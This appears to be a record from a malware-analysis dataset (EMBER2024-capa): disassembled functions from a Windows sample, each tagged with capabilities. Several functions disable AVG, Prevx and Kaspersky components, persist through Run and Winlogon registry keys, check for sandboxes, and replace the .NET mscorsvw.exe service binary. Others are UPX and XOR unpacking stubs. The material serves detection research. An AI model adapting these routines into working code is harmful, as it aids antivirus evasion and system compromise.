joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402470
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80000080
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 3
push 0xc0000000
push str..pipe_acsipc_server
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x60], 0xd48a445e
mov dword [ebp - 0x5c], 0x466e1597
mov dword [ebp - 0x58], 0x327416ba
mov dword [ebp - 0x54], 0x68ccde15
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0x11
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 0x11
mov dword [ebp - 0x38], 0xb5cb6c63
mov dword [ebp - 0x34], 0x46df52db
mov dword [ebp - 0x30], 0x65aa6b83
mov dword [ebp - 0x2c], 0x229bf18e
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402554
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea ecx, [ebp - 4]
push ecx
push 0x28
lea edx, [ebp - 0x60]
push edx
push esi
call edi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
push ebx
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x23], ecx
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
push esi
mov dword [ebp - 0x1f], edx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402560
Capabilities:
Get common file path
Get program files directory
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x26
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402645
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x104]
mov byte [ebp + eax - 0x208], cl
inc eax
test cl, cl
jne 0x402590
lea eax, [ebp - 0x104]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4025b0
mov ecx, dword [str.AVGAVG9dfncfg.dat]
mov edx, dword [0x40c5f8]
mov dword [eax], ecx
mov ecx, dword [0x40c5fc]
mov dword [eax + 4], edx
mov edx, dword [0x40c600]
mov dword [eax + 8], ecx
mov ecx, dword [0x40c604]
mov dword [eax + 0xc], edx
mov dl, byte [0x40c608]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4025f4
mov ecx, dword [str.AVGAVG9dfmcfg.dat]
mov edx, dword [0x40c610]
mov dword [eax], ecx
mov ecx, dword [0x40c614]
mov dword [eax + 4], edx
mov edx, dword [0x40c618]
mov dword [eax + 8], ecx
mov ecx, dword [0x40c61c]
mov dword [eax + 0xc], edx
mov dl, byte [0x40c620]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esp, ebp
pop ebp
ret
Function at 0x402650
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x23
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402780
lea eax, [ebp - 0x10c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402682
mov ecx, dword [str.PrevxCSIcsidb.csi]
mov edx, dword [0x40c628]
push esi
push 0
push 0x80
mov dword [eax], ecx
mov ecx, dword [0x40c62c]
push 3
mov dword [eax + 4], edx
mov edx, dword [0x40c630]
push 0
mov dword [eax + 8], ecx
mov ecx, dword [0x40c634]
push 3
mov dword [eax + 0xc], edx
push 0xc0000000
lea edx, [ebp - 0x10c]
push edx
mov dword [eax + 0x10], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40277f
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0x17a8
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0xb98
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push 0
push 0
push 0x17e4
push esi
call edi
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea edx, [ebp - 1]
push edx
push esi
call ebx
push 0
push 0
push 0x17dc
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0x3380
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402a50
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push 0x4094e4
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0xff0ff
call edi
test eax, eax
jne 0x402b1d
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0x4094d4
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x4094e0
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, esi
add esp, 0x10
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b00
sub eax, edx
mov edx, dword [ebp - 4]
inc eax
push eax
push esi
push 1
push 0
lea ecx, [ebp - 0x10c]
push ecx
push edx
jmp 0x402b5e
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push 0x40951c
push closesocket
call edi
test eax, eax
jne 0x402b64
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b45
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push esi
push 1
push 0
push 0x40954c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
pop edi
test eax, eax
je 0x402b7d
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402e00
Capabilities:
Check if file exists
Copy file
Delete file
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push edi
push 0x4094c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call edi
call fcn.00403b50
test eax, eax
je 0x402e3d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004022e0
call fcn.004021f0
push 0
push str.____AVP.Root
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x402e72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.00402470
call fcn.00402560
call fcn.00402650
call fcn.00402790
mov esi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call esi
test eax, eax
jne 0x402f1c
call fcn.00401fb0
test eax, eax
je 0x402ea7
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 0
call edi
push str._globalroot_systemrootMicrosoft.NETFramework_v2.0.50727mscorsvw.exe
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402f0b
push 0
push str._globalroot_systemrootMicrosoft.NETFramework_v2.0.50727mscorsvw.exe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str._globalroot_systemrootMicrosoft.NETFramework_v2.0.50727mscorsvw.exe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x402f0b
push 1
push str._globalroot_systemrootMicrosoft.NETFramework_v2.0.50727mscorsvw.exe
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402f0b
call fcn.00403000
test eax, eax
je 0x402f0b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00403690
test eax, eax
je 0x402f1c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call esi
push 0x4094b8
mov edi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402f55
push 0x40c350
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402f55
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
je 0x402fad
test edi, edi
je 0x402f75
push str._apppatch_
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402fa1
lea esi, [ebp - 0x108]
call fcn.00402a50
push 1
push 0x4d000
push 0x40f0d8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.00401780
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402fe8
call fcn.00402b90
call fcn.004011d0
jmp 0x402fe8
test edi, edi
je 0x402fd8
push str._apppatch_
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x402fd8
call fcn.00402b90
call fcn.004029e0
call fcn.004011d0
jmp 0x402fe8
lea esi, [ebp - 0x108]
call fcn.00402a50
call fcn.004029e0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403000
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
xor eax, eax
xor edi, edi
push 0xf003f
push edi
push edi
xor esi, esi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp eax, edi
je 0x4030b1
push ebx
push 0x10
push str..NET_Runtime_Optimization_Service_v2.0.50727_X86
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
cmp ebx, edi
je 0x4030a6
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov esi, eax
cmp esi, edi
je 0x40309f
lea eax, [ebp - 4]
push eax
push 0x24
lea ecx, [ebp - 0x2c]
push ecx
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov esi, eax
test esi, esi
je 0x403096
cmp dword [ebp - 0x28], 4
je 0x40309a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x403064
jmp 0x40309f
xor esi, esi
jmp 0x40309f
mov esi, 1
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4035f0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
lea eax, [ebp - 0x9c]
push eax
mov esi, 0x80004005
mov dword [ebp - 4], 0
mov dword [ebp - 0x9c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40367d
cmp dword [ebp - 0x8c], 2
jne 0x40367d
cmp dword [ebp - 0x98], 6
jb 0x40367d
lea ecx, [ebp - 4]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40367d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push 4
push eax
push 0x12
push ecx
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x403673
cmp dword [ebp - 8], 4
jne 0x403673
xor esi, esi
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x403b50
Capabilities:
Check for sandbox username or hostname
Get disk information
Get session user name
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
push edi
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.HARDWAREDESCRIPTIONSystem
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 8], 0
mov edi, 1
mov dword [ebp - 0x10], 0x400
mov dword [ebp - 0xc], 7
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403bfd
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x61c]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.SystemBiosVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x403bcb
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x403bfd
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x61c], 0x51
jne 0x403bfd
cmp byte [ebp - 0x61b], 0x45
jne 0x403bfd
cmp byte [ebp - 0x61a], 0x4d
jne 0x403bfd
cmp byte [ebp - 0x619], 0x55
je 0x403d15
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.USER32.dll_CharUpperA]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x21c]
push str.SANDBOX
push eax
call esi
add esp, 8
test eax, eax
jne 0x403d14
lea ecx, [ebp - 0x21c]
push str.MALNETVM
push ecx
call esi
add esp, 8
test eax, eax
jne 0x403d14
lea edx, [ebp - 0x21c]
push str.VIRUSCLONE
push edx
call esi
add esp, 8
test eax, eax
jne 0x403d14
push 0x104
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0
push 0
lea edx, [ebp - 0x118]
push edx
mov byte [ebp - 0x115], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 8]
cmp eax, 0xcd1a40
je 0x403d14
cmp eax, 0x6cbbc508
je 0x403d14
cmp eax, 0x774e1682
je 0x403d14
cmp eax, 0x837f873e
je 0x403d14
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str._sand_box_
lea ecx, [ebp - 0x118]
push ecx
call esi
test eax, eax
jne 0x403d14
push str.cwsandbox_
lea edx, [ebp - 0x118]
push edx
call esi
test eax, eax
jne 0x403d14
push str._sandbox_
lea eax, [ebp - 0x118]
push eax
call esi
test eax, eax
jne 0x403d14
xor edi, edi
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x403ef0
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, dword [edi]
lea ebx, [edi + 0x14]
cmp esi, ebx
je 0x403f2e
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [esi + 4]
mov edx, dword [esi]
mov dword [edx + 4], eax
mov eax, dword [esi + 0x10]
test eax, eax
je 0x403f1e
push eax
call fcn.00403ef0
push esi
call dword [sym.imp.MSVCRT.dll_free]
mov esi, dword [edi]
jmp loc.004746b0
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x4043c0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [eax + 0x14]
mov dword [ebp + 0xc], 0
test ebx, ebx
jle 0x404478
mov ecx, dword [ebp + 8]
jmp loc.00475bc8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x406880
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
mov edi, dword [esi + 0x2c]
mov dword [ebp - 8], edi
jmp 0x406893
mov edi, dword [ebp - 8]
mov ebx, dword [esi + 0x3c]
sub ebx, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub ebx, eax
lea edx, [edi + ecx - 0x106]
mov dword [ebp - 4], ebx
cmp eax, edx
jb 0x40690d
mov eax, dword [esi + 0x38]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov edx, dword [esi + 0x4c]
mov eax, dword [esi + 0x44]
sub dword [esi + 0x70], edi
sub dword [esi + 0x6c], edi
add esp, 0xc
sub dword [esi + 0x5c], edi
lea ecx, [eax + edx*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, edi
jb 0x4068e1
sub eax, edi
jmp 0x4068e3
xor eax, eax
dec edx
mov word [ecx], ax
jne 0x4068d2
mov ecx, dword [esi + 0x40]
mov edx, edi
lea ecx, [ecx + edi*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, edi
jb 0x406900
sub eax, edi
jmp 0x406902
xor eax, eax
dec edx
mov word [ecx], ax
jne 0x4068f1
add ebx, edi
mov dword [ebp - 4], ebx
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x406a1b
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 4]
mov ebx, ecx
mov dword [ebp - 0xc], eax
cmp ebx, edx
jbe 0x406933
mov ebx, edx
test ebx, ebx
je 0x406968
mov edx, dword [edi + 0x1c]
sub ecx, ebx
mov dword [edi + 4], ecx
cmp dword [edx + 0x18], 1
jne 0x406956
mov eax, dword [edi]
mov ecx, dword [edi + 0x30]
push ebx
call fcn.00408b40
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi]
push ebx
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add dword [edi], ebx
add esp, 0xc
add dword [edi + 8], ebx
add dword [esi + 0x74], ebx
mov ebx, dword [esi + 0x74]
cmp ebx, 3
jb 0x406990
mov edx, dword [esi + 0x6c]
add edx, dword [esi + 0x38]
mov ecx, dword [esi + 0x58]
movzx eax, byte [edx]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp ebx, 0x106
jae 0x4069a4
mov edx, dword [esi]
cmp dword [edx + 4], 0
jne 0x406890
mov eax, dword [esi + 0x16c0]
mov ecx, dword [esi + 0x3c]
cmp eax, ecx
jae 0x406a1b
mov edi, dword [esi + 0x6c]
add edi, ebx
cmp eax, edi
jae 0x4069ea
sub ecx, edi
mov ebx, ecx
cmp ebx, 0x102
jbe 0x4069cb
mov ebx, 0x102
mov eax, dword [esi + 0x38]
push ebx
add eax, edi
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
add ebx, edi
pop edi
mov dword [esi + 0x16c0], ebx
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [edi + 0x102]
cmp eax, edx
jae 0x406a1b
sub edi, eax
add edi, 0x102
sub ecx, eax
cmp edi, ecx
jbe 0x406a04
mov edi, ecx
mov ecx, dword [esi + 0x38]
push edi
add ecx, eax
push 0
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
add dword [esi + 0x16c0], edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408e60
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x408e89
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + 0x40e100]
inc esi
xor eax, edx
dec ecx
jne 0x408e74
xor eax, 0xffffffff
pop esi
leave
ret 0xc
Function at 0x41a6c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x16000]
push edi
jmp 0x41a6da
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41a6e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41a6d0
mov eax, 1
add ebx, ebx
jne 0x41a6f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41a6e8
jne 0x41a704
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41a6e8
xor ecx, ecx
sub eax, 3
jb 0x41a718
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41a78a
mov ebp, eax
add ebx, ebx
jne 0x41a723
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41a730
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41a754
inc ecx
add ebx, ebx
jne 0x41a740
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41a735
jne 0x41a751
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41a735
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41a774
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41a765
jmp 0x41a6d6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41a774
add edi, ecx
jmp 0x41a6d6
pop esi
mov edi, esi
mov ecx, 0x3aa
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41a792
cmp byte [edi], 1
jne 0x41a792
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41a797
lea edi, [esi + 0x18000]
mov eax, dword [edi]
or eax, eax
je 0x41a80f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1a000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1a08c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41a7c4
mov ecx, edi
jns 0x41a7f3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1a094]
or eax, eax
je 0x41a809
mov dword [ebx], eax
add ebx, 4
jmp 0x41a7e1
call dword [esi + 0x1a090]
mov ebp, dword [esi + 0x1a098]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41a843
sub esp, 0xffffff80
jmp section.UPX0

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6a
nop
nop
sub eax, 0x403d10
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219